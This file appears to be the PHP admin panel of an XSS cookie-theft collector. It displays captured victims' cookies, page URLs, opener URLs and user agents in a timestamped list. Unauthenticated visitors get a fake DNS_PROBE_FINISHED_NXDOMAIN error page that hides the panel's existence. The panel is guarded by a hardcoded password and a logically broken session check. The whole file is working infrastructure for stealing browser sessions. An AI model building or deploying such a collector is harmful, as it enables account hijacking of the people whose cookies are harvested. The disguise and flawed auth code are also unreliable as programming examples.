<?php
//public function
session_start();
if(!$_SESSION['user']=='admin' || !$_SESSION['password'] =='tu!@#') {
    echo '<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><title>tutu.bet</title><style>*{padding:0;margin:0}div{width:600px;margin:0 auto;padding-top:130px}body{background:#f7f7f7;font-family:"Microsoft YaHei"}p{font-size:24px;color:#333;padding-bottom:30px;padding-top:30px}span{color:#b0b0b0;font-size:12px}</style></head><body><div><img src="error.gif"alt=""><p>无法访问此网站</p><span>DNS_PROBE_FINISHED_NXDOMAIN</span></div></body></html>';
    exit;
}

function format($time) {
    $rtime=date("m-d H:i",$time);
    $htime=date("H:i",$time);
    $time=time() - $time;
    if ($time <60) {
        $str='刚刚';
    }
    elseif ($time <60 * 60) {
        $min=floor($time/60);
        $str=$min.'分钟前';
    }
    elseif ($time <60 * 60 * 24) {
        $h=floor($time/(60*60));
        $str=$h.'小时前 '.$htime;
    }
    elseif ($time <60 * 60 * 24 * 3) {
        $d=floor($time/(60*60*24));
        if($d==1)
            $str='昨天 '.$rtime;
        else
            $str='前天 '.$rtime;
    }
    else {
        $str=$rtime;
    }
    return $str;
}
?>

<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>tutu</title>
    <link rel="stylesheet" href="/asset/css/common.css">
</head>
<body>
<header>
    <h1><img src="/asset/images/logo.png" alt=""></h1>
    <form action="">
        <input type="text">
        <input type="submit" value="搜索">
        <a href="javascript:;" class="refresh">刷新</a>
        <a href="/tutu-layout" class="refresh">退出</a>
    </form>
</header>

{if $list->lastPage() gt 1}
<section class="page">
    <div>
        {$list->render()}
    </div>
</section>
{/if}

<section class="main-data">
    <ul>
        {foreach $list as $it}
        <li>
            <span class="number">{$it.time|format}</span>
            <div>
                <a href="javascript:;">[cookie]</a>
                <p>{$it.cookie}</p>
            </div>
            <div>
                <a href="javascript:;">[href]</a>
                <p>{$it.href}</p>
            </div>

            <div>
                <a href="javascript:;">[tophref]</a>
                <p>{$it.tophref}</p>
            </div>
            {if $it.opener}
            <div>
                <a href="javascript:;">[opener]</a>
                <p>{$it.opener}</p>
            </div>
            {/if}
            <div>
                <a href="javascript:;">[Agent]</a>
                <p>{$it.userAgent}</p>
            </div>
        </li>
        {/foreach}
    </ul>
</section>

{if $list->lastPage() gt 1}
<section class="page">
    <div>
        {$list->render()}
    </div>
</section>
{/if}

</body>
</html>